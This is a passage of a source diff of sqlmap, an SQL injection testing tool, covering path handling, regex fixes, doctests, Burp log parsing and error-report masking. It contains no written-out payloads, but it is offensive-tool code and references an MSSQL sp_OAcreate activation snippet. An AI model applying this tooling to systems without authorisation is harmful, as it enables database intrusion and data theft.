-    if not any(_ in sys.argv for _ in ("--version", "--api")):
+    if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"):
        _ = BANNER

        if not getattr(LOGGER_HANDLER, "is_tty", False) or "--disable-coloring" in sys.argv:
@@ -1264,11 +1280,15 @@ def setPaths(rootPath):
    paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
    paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")

+    # history files
+    paths.SQLMAP_HISTORY_PATH = getUnicode(os.path.join(_, "history"), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
+    paths.API_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "api.hst")
+    paths.OS_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "os.hst")
+    paths.SQL_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "sql.hst")
+    paths.SQLMAP_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "sqlmap.hst")
+    paths.GITHUB_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "github.hst")
+
    # sqlmap files
-    paths.OS_SHELL_HISTORY = os.path.join(_, "os.hst")
-    paths.SQL_SHELL_HISTORY = os.path.join(_, "sql.hst")
-    paths.SQLMAP_SHELL_HISTORY = os.path.join(_, "sqlmap.hst")
-    paths.GITHUB_HISTORY = os.path.join(_, "github.hst")
    paths.CHECKSUM_MD5 = os.path.join(paths.SQLMAP_TXT_PATH, "checksum.md5")
    paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt")
    paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt")
@@ -1288,7 +1308,7 @@ def setPaths(rootPath):
    paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml")

    for path in paths.values():
-        if any(path.endswith(_) for _ in (".txt", ".xml", ".zip")):
+        if any(path.endswith(_) for _ in (".md5", ".txt", ".xml", ".zip")):
            checkFile(path)

 def weAreFrozen():
@@ -1308,13 +1328,11 @@ def parseTargetDirect():
    if not conf.direct:
        return

-    conf.direct = conf.direct.encode(UNICODE_ENCODING)  # some DBMS connectors (e.g. pymssql) don't like Unicode with non-US letters
-
    details = None
    remote = False

    for dbms in SUPPORTED_DBMS:
-        details = re.search("^(?P<dbms>%s)://(?P<credentials>(?P<user>.+?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\\\]+?)$" % dbms, conf.direct, re.I)
+        details = re.search(r"^(?P<dbms>%s)://(?P<credentials>(?P<user>.+?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\]+?)$" % dbms, conf.direct, re.I)

        if details:
            conf.dbms = details.group("dbms")
@@ -1340,7 +1358,7 @@ def parseTargetDirect():
                conf.hostname = "localhost"
                conf.port = 0

-            conf.dbmsDb = details.group("db")
+            conf.dbmsDb = details.group("db").strip() if details.group("db") is not None else None
            conf.parameters[None] = "direct connection"

            break
@@ -1384,14 +1402,20 @@ def parseTargetDirect():
                    __import__("psycopg2")
                elif dbmsName == DBMS.ORACLE:
                    __import__("cx_Oracle")
+
+                    # Reference: http://itsiti.com/ora-28009-connection-sys-sysdba-sysoper
+                    if (conf.dbmsUser or "").upper() == "SYS":
+                        conf.direct = "%s?mode=SYSDBA" % conf.direct
                elif dbmsName == DBMS.SQLITE:
                    __import__("sqlite3")
                elif dbmsName == DBMS.ACCESS:
                    __import__("pyodbc")
                elif dbmsName == DBMS.FIREBIRD:
                    __import__("kinterbasdb")
+            except (SqlmapSyntaxException, SqlmapMissingDependence):
+                raise
            except:
-                if _sqlalchemy and data[3] in _sqlalchemy.dialects.__all__:
+                if _sqlalchemy and data[3] and any(_ in _sqlalchemy.dialects.__all__ for _ in (data[3], data[3].split('+')[0])):
                    pass
                else:
                    errMsg = "sqlmap requires '%s' third-party library " % data[1]
@@ -1416,7 +1440,7 @@ def parseTargetUrl():
        errMsg += "on this platform"
        raise SqlmapGenericException(errMsg)

-    if not re.search(r"^http[s]*://", conf.url, re.I) and not re.search(r"^ws[s]*://", conf.url, re.I):
+    if not re.search(r"^https?://", conf.url, re.I) and not re.search(r"^wss?://", conf.url, re.I):
        if re.search(r":443\b", conf.url):
            conf.url = "https://%s" % conf.url
        else:
@@ -1433,7 +1457,7 @@ def parseTargetUrl():
        errMsg += "in the hostname part"
        raise SqlmapGenericException(errMsg)

-    hostnamePort = urlSplit.netloc.split(":") if not re.search(r"\[.+\]", urlSplit.netloc) else filter(None, (re.search("\[.+\]", urlSplit.netloc).group(0), re.search(r"\](:(?P<port>\d+))?", urlSplit.netloc).group("port")))
+    hostnamePort = urlSplit.netloc.split(":") if not re.search(r"\[.+\]", urlSplit.netloc) else filter(None, (re.search(r"\[.+\]", urlSplit.netloc).group(0), re.search(r"\](:(?P<port>\d+))?", urlSplit.netloc).group("port")))

    conf.scheme = (urlSplit.scheme.strip().lower() or "http") if not conf.forceSSL else "https"
    conf.path = urlSplit.path.strip()
@@ -1493,6 +1517,23 @@ def parseTargetUrl():
    if conf.url != originalUrl:
        kb.originalUrls[conf.url] = originalUrl

+def escapeJsonValue(value):
+    """
+    Escapes JSON value (used in payloads)
+
+    # Reference: https://stackoverflow.com/a/16652683
+    """
+
+    retVal = ""
+
+    for char in value:
+        if char < ' ' or char == '"':
+            retVal += json.dumps(char)[1:-1]
+        else:
+            retVal += char
+
+    return retVal
+
 def expandAsteriskForColumns(expression):
    """
    If the user provided an asterisk rather than the column(s)
@@ -1500,14 +1541,14 @@ def expandAsteriskForColumns(expression):
    the SQL query string (expression)
    """

-    asterisk = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+`?([^`\s()]+)", expression)
+    match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+`?([^`\s()]+)", expression)

-    if asterisk:
+    if match:
        infoMsg = "you did not provide the fields in your query. "
        infoMsg += "sqlmap will retrieve the column names itself"
        logger.info(infoMsg)

-        _ = asterisk.group(2).replace("..", '.').replace(".dbo.", '.')
+        _ = match.group(2).replace("..", '.').replace(".dbo.", '.')
        db, conf.tbl = _.split('.', 1) if '.' in _ else (None, _)

        if db is None:
@@ -1616,6 +1657,9 @@ def parseUnionPage(page):
 def parseFilePaths(page):
    """
    Detects (possible) absolute system paths inside the provided page content
+
+    >>> _ = "/var/www/html/index.php"; parseFilePaths("<html>Error occurred at line 207 of: %s<br>Please contact your administrator</html>" % _); _ in kb.absFilePaths
+    True
    """

    if page:
@@ -1842,8 +1886,7 @@ def getFilteredPageContent(page, onlyText=True, split=" "):
    # only if the page's charset has been successfully identified
    if isinstance(page, unicode):
        retVal = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>%s" % (r"|<[^>]+>|\t|\n|\r" if onlyText else ""), split, page)
-        while retVal.find(2 * split) != -1:
-            retVal = retVal.replace(2 * split, split)
+        retVal = re.sub(r"%s{2,}" % split, split, retVal)
        retVal = htmlunescape(retVal.strip().strip(split))

    return retVal
@@ -2009,6 +2052,9 @@ def parseXmlFile(xmlFile, handler):
 def getSQLSnippet(dbms, sfile, **variables):
    """
    Returns content of SQL snippet located inside 'procs/' directory
+
+    >>> 'RECONFIGURE' in getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate")
+    True
    """

    if sfile.endswith('.sql') and os.path.exists(sfile):
@@ -2048,9 +2094,12 @@ def getSQLSnippet(dbms, sfile, **variables):

    return retVal

-def readCachedFileContent(filename, mode='rb'):
+def readCachedFileContent(filename, mode="rb"):
    """
    Cached reading of file content (avoiding multiple same file reading)
+
+    >>> "readCachedFileContent" in readCachedFileContent(__file__)
+    True
    """

    if filename not in kb.cache.content:
@@ -2107,6 +2156,9 @@ def average(values):
 def calculateDeltaSeconds(start):
    """
    Returns elapsed time from start till now
+
+    >>> calculateDeltaSeconds(0) > 1151721660
+    True
    """

    return time.time() - start
@@ -2114,6 +2166,9 @@ def calculateDeltaSeconds(start):
 def initCommonOutputs():
    """
    Initializes dictionary containing common output values used by "good samaritan" feature
+
+    >>> initCommonOutputs(); "information_schema" in kb.commonOutputs["Databases"]
+    True
    """

    kb.commonOutputs = {}
@@ -2136,7 +2191,7 @@ def initCommonOutputs():
                    if line not in kb.commonOutputs[key]:
                        kb.commonOutputs[key].add(line)

-def getFileItems(filename, commentPrefix='#', unicode_=True, lowercase=False, unique=False):
+def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False):
    """
    Returns newline delimited items contained inside file
    """
@@ -2149,20 +2204,14 @@ def getFileItems(filename, commentPrefix='#', unicode_=True, lowercase=False, un
    checkFile(filename)

    try:
-        with openFile(filename, 'r', errors="ignore") if unicode_ else open(filename, 'r') as f:
-            for line in (f.readlines() if unicode_ else f.xreadlines()):  # xreadlines doesn't return unicode strings when codec.open() is used
+        with openFile(filename, 'r', errors="ignore") if unicoded else open(filename, 'r') as f:
+            for line in (f.readlines() if unicoded else f.xreadlines()):  # xreadlines doesn't return unicode strings when codec.open() is used
                if commentPrefix:
                    if line.find(commentPrefix) != -1:
                        line = line[:line.find(commentPrefix)]

                line = line.strip()

-                if not unicode_:
-                    try:
-                        line = str.encode(line)
-                    except UnicodeDecodeError:
-                        continue
-
                if line:
                    if lowercase:
                        line = line.lower()
@@ -2887,15 +2936,15 @@ def filterStringValue(value, charRegex, replacement=""):

    return retVal

-def filterControlChars(value):
+def filterControlChars(value, replacement=' '):
    """
-    Returns string value with control chars being supstituted with ' '
+    Returns string value with control chars being supstituted with replacement character

    >>> filterControlChars(u'AND 1>(2+3)\\n--')
    u'AND 1>(2+3) --'
    """

-    return filterStringValue(value, PRINTABLE_CHAR_REGEX, ' ')
+    return filterStringValue(value, PRINTABLE_CHAR_REGEX, replacement)

 def isDBMSVersionAtLeast(version):
    """
@@ -3280,14 +3329,17 @@ def checkIntegrity():
    logger.debug("running code integrity check")

    retVal = True
-    for checksum, _ in (re.split(r'\s+', _) for _ in getFileItems(paths.CHECKSUM_MD5)):
-        path = os.path.normpath(os.path.join(paths.SQLMAP_ROOT_PATH, _))
-        if not os.path.isfile(path):
-            logger.error("missing file detected '%s'" % path)
-            retVal = False
-        elif md5File(path) != checksum:
-            logger.error("wrong checksum of file '%s' detected" % path)
-            retVal = False
+
+    if os.path.isfile(paths.CHECKSUM_MD5):
+        for checksum, _ in (re.split(r'\s+', _) for _ in getFileItems(paths.CHECKSUM_MD5)):
+            path = os.path.normpath(os.path.join(paths.SQLMAP_ROOT_PATH, _))
+            if not os.path.isfile(path):
+                logger.error("missing file detected '%s'" % path)
+                retVal = False
+            elif md5File(path) != checksum:
+                logger.error("wrong checksum of file '%s' detected" % path)
+                retVal = False
+
    return retVal

 def unhandledExceptionMessage():
@@ -3321,6 +3373,25 @@ def unhandledExceptionMessage():

    return errMsg

+def getLatestRevision():
+    """
+    Retrieves latest revision from the offical repository
+
+    >>> from lib.core.settings import VERSION; getLatestRevision() == VERSION
+    True
+    """
+
+    retVal = None
+    req = urllib2.Request(url="https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/lib/core/settings.py")
+
+    try:
+        content = urllib2.urlopen(req).read()
+        retVal = extractRegexResult(r"VERSION\s*=\s*[\"'](?P<result>[\d.]+)", content)
+    except:
+        pass
+
+    return retVal
+
 def createGithubIssue(errMsg, excMsg):
    """
    Automatically create a Github issue with unhandled exception information
@@ -3335,7 +3406,7 @@ def createGithubIssue(errMsg, excMsg):

    _ = re.sub(r"'[^']+'", "''", excMsg)
    _ = re.sub(r"\s+line \d+", "", _)
-    _ = re.sub(r'File ".+?/(\w+\.py)', "\g<1>", _)
+    _ = re.sub(r'File ".+?/(\w+\.py)', r"\g<1>", _)
    _ = re.sub(r".+\Z", "", _)
    key = hashlib.md5(_).hexdigest()[:8]

@@ -3346,7 +3417,7 @@ def createGithubIssue(errMsg, excMsg):
    msg += "with the unhandled exception information at "
    msg += "the official Github repository? [y/N] "
    try:
-        choice = readInput(msg, default='N', boolean=True)
+        choice = readInput(msg, default='N', checkBatch=False, boolean=True)
    except:
        choice = None

@@ -3413,10 +3484,12 @@ def maskSensitiveData(msg):
            value = extractRegexResult(regex, retVal)
            retVal = retVal.replace(value, '*' * len(value))

-    if not conf.get("hostname"):
-        match = re.search(r"(?i)sqlmap.+(-u|--url)(\s+|=)([^ ]+)", retVal)
-        if match:
-            retVal = retVal.replace(match.group(3), '*' * len(match.group(3)))
+    # Just in case (for problematic parameters regarding user encoding)
+    for match in re.finditer(r"(?i)[ -]-(u|url|data|cookie)( |=)(.*?)(?= -?-[a-z]|\Z)", retVal):
+        retVal = retVal.replace(match.group(3), '*' * len(match.group(3)))
+
+    # Fail-safe substitution
+    retVal = re.sub(r"(?i)\bhttps?://[^ ]+", lambda match: '*' * len(match.group(0)), retVal)

    if getpass.getuser():
        retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), '*' * len(getpass.getuser()), retVal)
@@ -3479,7 +3552,7 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
                return value

            payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ""), convall=True))
-            regex = _(filterStringValue(payload, r"[A-Za-z0-9]", REFLECTED_REPLACEMENT_REGEX.encode("string-escape")))
+            regex = _(filterStringValue(payload, r"[A-Za-z0-9]", REFLECTED_REPLACEMENT_REGEX.encode("string_escape")))

            if regex != payload:
                if all(part.lower() in content.lower() for part in filter(None, regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]):  # fast optimization check
@@ -3502,6 +3575,7 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
                        regex = r"%s\b" % regex

                    _retVal = [retVal]
+
                    def _thread(regex):
                        try:
                            _retVal[0] = re.sub(r"(?i)%s" % regex, REFLECTED_VALUE_MARKER, _retVal[0])
@@ -3585,7 +3659,7 @@ def safeSQLIdentificatorNaming(name, isTable=False):

            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS):
                retVal = "`%s`" % retVal
-            elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.INFORMIX, DBMS.HSQLDB):
+            elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX):
                retVal = "\"%s\"" % retVal
            elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
                retVal = "\"%s\"" % retVal.upper()
@@ -3722,7 +3796,7 @@ def expandMnemonics(mnemonics, parser, args):
                logger.debug(debugMsg)
            else:
                found = sorted(options.keys(), key=lambda x: len(x))[0]
-                warnMsg = "detected ambiguity (mnemonic '%s' can be resolved to: %s). " % (name, ", ".join("'%s'" % key for key in options.keys()))
+                warnMsg = "detected ambiguity (mnemonic '%s' can be resolved to any of: %s). " % (name, ", ".join("'%s'" % key for key in options.keys()))
                warnMsg += "Resolved to shortest of those ('%s')" % found
                logger.warn(warnMsg)

@@ -3870,7 +3944,7 @@ def asciifyUrl(url, forceQuote=False):
        #     urllib.quote(s.replace('%', '')) != s.replace('%', '')
        # which would trigger on all %-characters, e.g. "&".
        if getUnicode(s).encode("ascii", "replace") != s or forceQuote:
-            return urllib.quote(s.encode(UNICODE_ENCODING), safe=safe)
+            return urllib.quote(s.encode(UNICODE_ENCODING) if isinstance(s, unicode) else s, safe=safe)
        return s

    username = quote(parts.username, '')
@@ -3937,6 +4011,7 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
        def __init__(self, content, url):
            StringIO.__init__(self, unicodeencode(content, kb.pageEncoding) if isinstance(content, unicode) else content)
            self._url = url
+
        def geturl(self):
            return self._url

@@ -4062,7 +4137,7 @@ def getHostHeader(url):
        retVal = urlparse.urlparse(url).netloc

        if re.search(r"http(s)?://\[.+\]", url, re.I):
-            retVal = extractRegexResult("http(s)?://\[(?P<result>.+)\]", url)
+            retVal = extractRegexResult(r"http(s)?://\[(?P<result>.+)\]", url)
        elif any(retVal.endswith(':%d' % _) for _ in (80, 443)):
            retVal = retVal.split(':')[0]

@@ -4074,6 +4149,7 @@ def checkDeprecatedOptions(args):
    """

    for _ in args:
+        _ = _.split('=')[0].strip()
        if _ in DEPRECATED_OPTIONS:
            errMsg = "switch/option '%s' is deprecated" % _
            if DEPRECATED_OPTIONS[_]:
@@ -4104,6 +4180,9 @@ def checkSystemEncoding():
 def evaluateCode(code, variables=None):
    """
    Executes given python code given in a string form
+
+    >>> _ = {}; evaluateCode("a = 1; b = 2; c = a", _); _["c"]
+    1
    """

    try:
@@ -4157,6 +4236,9 @@ def incrementCounter(technique):
 def getCounter(technique):
    """
    Returns query counter for a given technique
+
+    >>> resetCounter(PAYLOAD.TECHNIQUE.STACKED); incrementCounter(PAYLOAD.TECHNIQUE.STACKED); getCounter(PAYLOAD.TECHNIQUE.STACKED)
+    1
    """

    return kb.counters.get(technique, 0)
@@ -4203,7 +4285,7 @@ def decodeHexValue(value, raw=False):
                        retVal = retVal.decode("utf-16-le")
                    except UnicodeDecodeError:
                        pass
-                elif Backend.isDbms(DBMS.HSQLDB):
+                elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2):
                    try:
                        retVal = retVal.decode("utf-16-be")
                    except UnicodeDecodeError:
@@ -4242,9 +4324,11 @@ def extractExpectedValue(value, expected):
                value = value.strip().lower()
                if value in ("true", "false"):
                    value = value == "true"
+                elif value in ('t', 'f'):
+                    value = value == 't'
                elif value in ("1", "-1"):
                    value = True
-                elif value == "0":
+                elif value == '0':
                    value = False
                else:
                    value = None
@@ -4259,7 +4343,7 @@ def hashDBWrite(key, value, serialize=False):
    Helper function for writing session data to HashDB
    """

-    _ = "%s%s%s" % (conf.url or "%s%s" % (conf.hostname, conf.port), key, HASHDB_MILESTONE_VALUE)
+    _ = '|'.join((str(_) if not isinstance(_, basestring) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE))
    conf.hashDB.write(_, value, serialize)

 def hashDBRetrieve(key, unserialize=False, checkConf=False):
@@ -4267,7 +4351,7 @@ def hashDBRetrieve(key, unserialize=False, checkConf=False):
    Helper function for restoring session data from HashDB
    """

-    _ = "%s%s%s" % (conf.url or "%s%s" % (conf.hostname, conf.port), key, HASHDB_MILESTONE_VALUE)
+    _ = '|'.join((str(_) if not isinstance(_, basestring) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE))
    retVal = conf.hashDB.retrieve(_, unserialize) if kb.resumeValues and not (checkConf and any((conf.flushSession, conf.freshQueries))) else None

    if not kb.inferenceMode and not kb.fileReadMode and isinstance(retVal, basestring) and any(_ in retVal for _ in (PARTIAL_VALUE_MARKER, PARTIAL_HEX_VALUE_MARKER)):
@@ -4319,7 +4403,7 @@ def resetCookieJar(cookieJar):

        except cookielib.LoadError, msg:
            errMsg = "there was a problem loading "
-            errMsg += "cookies file ('%s')" % re.sub(r"(cookies) file '[^']+'", "\g<1>", str(msg))
+            errMsg += "cookies file ('%s')" % re.sub(r"(cookies) file '[^']+'", r"\g<1>", str(msg))
            raise SqlmapGenericException(errMsg)

 def decloakToTemp(filename):
@@ -4365,7 +4449,7 @@ def getRequestHeader(request, name):

    retVal = None

-    if request and name:
+    if request and request.headers and name:
        _ = name.upper()
        retVal = max(value if _ == key.upper() else None for key, value in request.header_items())

@@ -4394,6 +4478,9 @@ def zeroDepthSearch(expression, value):
    """
    Searches occurrences of value inside expression at 0-depth level
    regarding the parentheses
+
+    >>> _ = "SELECT (SELECT id FROM users WHERE 2>1) AS result FROM DUAL"; _[zeroDepthSearch(_, "FROM")[0]:]
+    'FROM DUAL'
    """

    retVal = []
@@ -4429,7 +4516,7 @@ def pollProcess(process, suppress_errors=False):
    Checks for process status (prints . if still running)
    """

-    while True:
+    while process:
        dataToStdout(".")
        time.sleep(1)

@@ -4446,6 +4533,195 @@ def pollProcess(process, suppress_errors=False):

            break

+def parseRequestFile(reqFile, checkParams=True):
+    """
+    Parses WebScarab and Burp logs and adds results to the target URL list
+    """
+
+    def _parseWebScarabLog(content):
+        """
+        Parses WebScarab logs (POST method not supported)
+        """
+
+        reqResList = content.split(WEBSCARAB_SPLITTER)
+
+        for request in reqResList:
+            url = extractRegexResult(r"URL: (?P<result>.+?)\n", request, re.I)
+            method = extractRegexResult(r"METHOD: (?P<result>.+?)\n", request, re.I)
+            cookie = extractRegexResult(r"COOKIE: (?P<result>.+?)\n", request, re.I)
+
+            if not method or not url:
+                logger.debug("not a valid WebScarab log data")
+                continue
+
+            if method.upper() == HTTPMETHOD.POST:
+                warnMsg = "POST requests from WebScarab logs aren't supported "
+                warnMsg += "as their body content is stored in separate files. "
+                warnMsg += "Nevertheless you can use -r to load them individually."
+                logger.warning(warnMsg)
+                continue
+
+            if not(conf.scope and not re.search(conf.scope, url, re.I)):
+                yield (url, method, None, cookie, tuple())
+
+    def _parseBurpLog(content):
+        """
+        Parses Burp logs
+        """
+
+        if not re.search(BURP_REQUEST_REGEX, content, re.I | re.S):
+            if re.search(BURP_XML_HISTORY_REGEX, content, re.I | re.S):
+                reqResList = []
+                for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S):
+                    port, request = match.groups()
+                    try:
+                        request = request.decode("base64")
+                    except binascii.Error:
+                        continue
+                    _ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request)
+                    if _:
+                        host = _.group(0).strip()
+                        if not re.search(r":\d+\Z", host):
+                            request = request.replace(host, "%s:%d" % (host, int(port)))
+                    reqResList.append(request)
+            else:
+                reqResList = [content]
+        else:
+            reqResList = re.finditer(BURP_REQUEST_REGEX, content, re.I | re.S)
+
+        for match in reqResList:
+            request = match if isinstance(match, basestring) else match.group(0)
+            request = re.sub(r"\A[^\w]+", "", request)
+
+            schemePort = re.search(r"(http[\w]*)\:\/\/.*?\:([\d]+).+?={10,}", request, re.I | re.S)
+
+            if schemePort:
+                scheme = schemePort.group(1)
+                port = schemePort.group(2)
+                request = re.sub(r"\n=+\Z", "", request.split(schemePort.group(0))[-1].lstrip())
+            else:
+                scheme, port = None, None
+
+            if not re.search(r"^[\n]*(%s).*?\sHTTP\/" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), request, re.I | re.M):
+                continue
+
+            if re.search(r"^[\n]*%s.*?\.(%s)\sHTTP\/" % (HTTPMETHOD.GET, "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M):
+                continue
+
+            getPostReq = False
+            url = None
+            host = None
+            method = None
+            data = None
+            cookie = None
+            params = False
+            newline = None
+            lines = request.split('\n')
+            headers = []
+
+            for index in xrange(len(lines)):
+                line = lines[index]
+
+                if not line.strip() and index == len(lines) - 1:
+                    break
+
+                newline = "\r\n" if line.endswith('\r') else '\n'
+                line = line.strip('\r')
+                match = re.search(r"\A(%s) (.+) HTTP/[\d.]+\Z" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), line) if not method else None
+
+                if len(line.strip()) == 0 and method and method != HTTPMETHOD.GET and data is None:
+                    data = ""
+                    params = True
+
+                elif match:
+                    method = match.group(1)
+                    url = match.group(2)
+
+                    if any(_ in line for _ in ('?', '=', kb.customInjectionMark)):
+                        params = True
+
+                    getPostReq = True
+
+                # POST parameters
+                elif data is not None and params:
+                    data += "%s%s" % (line, newline)
+
+                # GET parameters
+                elif "?" in line and "=" in line and ": " not in line:
+                    params = True
+
+                # Headers
+                elif re.search(r"\A\S+:", line):
+                    key, value = line.split(":", 1)
+                    value = value.strip().replace("\r", "").replace("\n", "")
+
+                    # Cookie and Host headers
+                    if key.upper() == HTTP_HEADER.COOKIE.upper():
+                        cookie = value
+                    elif key.upper() == HTTP_HEADER.HOST.upper():
+                        if '://' in value:
+                            scheme, value = value.split('://')[:2]
+                        splitValue = value.split(":")
+                        host = splitValue[0]
+
+                        if len(splitValue) > 1:
+                            port = filterStringValue(splitValue[1], "[0-9]")
+
+                    # Avoid to add a static content length header to
+                    # headers and consider the following lines as
+                    # POSTed data
+                    if key.upper() == HTTP_HEADER.CONTENT_LENGTH.upper():
+                        params = True
+
+                    # Avoid proxy and connection type related headers
+                    elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION):
+                        headers.append((getUnicode(key), getUnicode(value)))
+
+                    if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""):
+                        params = True
+
+            data = data.rstrip("\r\n") if data else data
+
+            if getPostReq and (params or cookie or not checkParams):
+                if not port and isinstance(scheme, basestring) and scheme.lower() == "https":
+                    port = "443"
+                elif not scheme and port == "443":
+                    scheme = "https"
+
+                if conf.forceSSL:
+                    scheme = "https"
+                    port = port or "443"
+
+                if not host:
+                    errMsg = "invalid format of a request file"
+                    raise SqlmapSyntaxException(errMsg)
+
+                if not url.startswith("http"):
+                    url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url)
+                    scheme = None
+                    port = None
+
+                if not(conf.scope and not re.search(conf.scope, url, re.I)):
+                    yield (url, conf.method or method, data, cookie, tuple(headers))
+
+    checkFile(reqFile)
+    try:
+        with openFile(reqFile, "rb") as f:
+            content = f.read()
+    except (IOError, OSError, MemoryError), ex:
+        errMsg = "something went wrong while trying "
+        errMsg += "to read the content of file '%s' ('%s')" % (reqFile, getSafeExString(ex))
+        raise SqlmapSystemException(errMsg)
+
+    if conf.scope:
+        logger.info("using regular expression '%s' for filtering targets" % conf.scope)
+
+    for target in _parseBurpLog(content):
+        yield target
+
+    for target in _parseWebScarabLog(content):
+        yield target
+
 def getSafeExString(ex, encoding=None):
    """
    Safe way how to get the proper exception represtation as a string
@@ -4461,11 +4737,44 @@ def getSafeExString(ex, encoding=None):
        retVal = ex.message
    elif getattr(ex, "msg", None):
        retVal = ex.msg
+    elif isinstance(ex, (list, tuple)) and len(ex) > 1 and isinstance(ex[1], basestring):
+        retVal = ex[1]

    return getUnicode(retVal or "", encoding=encoding).strip()

 def safeVariableNaming(value):
+    """
+    Returns escaped safe-representation of a given variable name that can be used in Python evaluated code
+
+    >>> safeVariableNaming("foo bar")
+    'foo__SAFE__20bar'
+    """
+
    return re.sub(r"[^\w]", lambda match: "%s%02x" % (SAFE_VARIABLE_MARKER, ord(match.group(0))), value)

 def unsafeVariableNaming(value):
+    """
+    Returns unescaped safe-representation of a given variable name
+
+    >>> unsafeVariableNaming("foo__SAFE__20bar")
+    'foo bar'
+    """
+
    return re.sub(r"%s([0-9a-f]{2})" % SAFE_VARIABLE_MARKER, lambda match: match.group(1).decode("hex"), value)
+
+def firstNotNone(*args):
+    """
+    Returns first not-None value from a given list of arguments
+
+    >>> firstNotNone(None, None, 1, 2, 3)
+    1
+    """
+
+    retVal = None
+
+    for _ in args:
+        if _ is not None:
+            retVal = _
+            break
+
+    return retVal
@@ -7,6 +7,8 @@ See the file 'LICENSE' for copying permission

 import hashlib

+from lib.core.threads import getCurrentThreadData
+
 def cachedmethod(f, cache={}):
    """
    Method with a cached content
@@ -15,10 +17,25 @@ def cachedmethod(f, cache={}):
    """

    def _(*args, **kwargs):
-        key = int(hashlib.md5("".join(str(_) for _ in (f, args, kwargs))).hexdigest()[:8], 16)
+        key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs))).hexdigest(), 16) & 0x7fffffffffffffff
        if key not in cache:
            cache[key] = f(*args, **kwargs)

        return cache[key]

    return _
+
+def stackedmethod(f):
+    def _(*args, **kwargs):
+        threadData = getCurrentThreadData()
+        originalLevel = len(threadData.valueStack)
+
+        try:
+            result = f(*args, **kwargs)
+        finally:
+            if len(threadData.valueStack) > originalLevel:
+                threadData.valueStack = threadData.valueStack[:originalLevel]
+
+        return result
+
+    return _
@@ -5,6 +5,7 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

+from lib.core.enums import CONTENT_TYPE
 from lib.core.enums import DBMS
 from lib.core.enums import OS
 from lib.core.enums import POST_HINT
@@ -21,6 +22,7 @@ from lib.core.settings import MAXDB_ALIASES
 from lib.core.settings import SYBASE_ALIASES
 from lib.core.settings import DB2_ALIASES
 from lib.core.settings import HSQLDB_ALIASES
+from lib.core.settings import H2_ALIASES
 from lib.core.settings import INFORMIX_ALIASES

 FIREBIRD_TYPES = {
@@ -194,6 +196,7 @@ DBMS_DICT = {
    DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"),
    DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
    DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
+    DBMS.H2: (H2_ALIASES, None, None, None),
    DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
 }

@@ -262,6 +265,10 @@ SQL_STATEMENTS = {
        "commit ",
        "rollback ",
    ),
+
+    "SQL administration": (
+        "set ",
+    ),
 }

 POST_HINT_CONTENT_TYPES = {
@@ -279,6 +286,8 @@ DEPRECATED_OPTIONS = {
    "--binary": "use '--binary-fields' instead",
    "--auth-private": "use '--auth-file' instead",
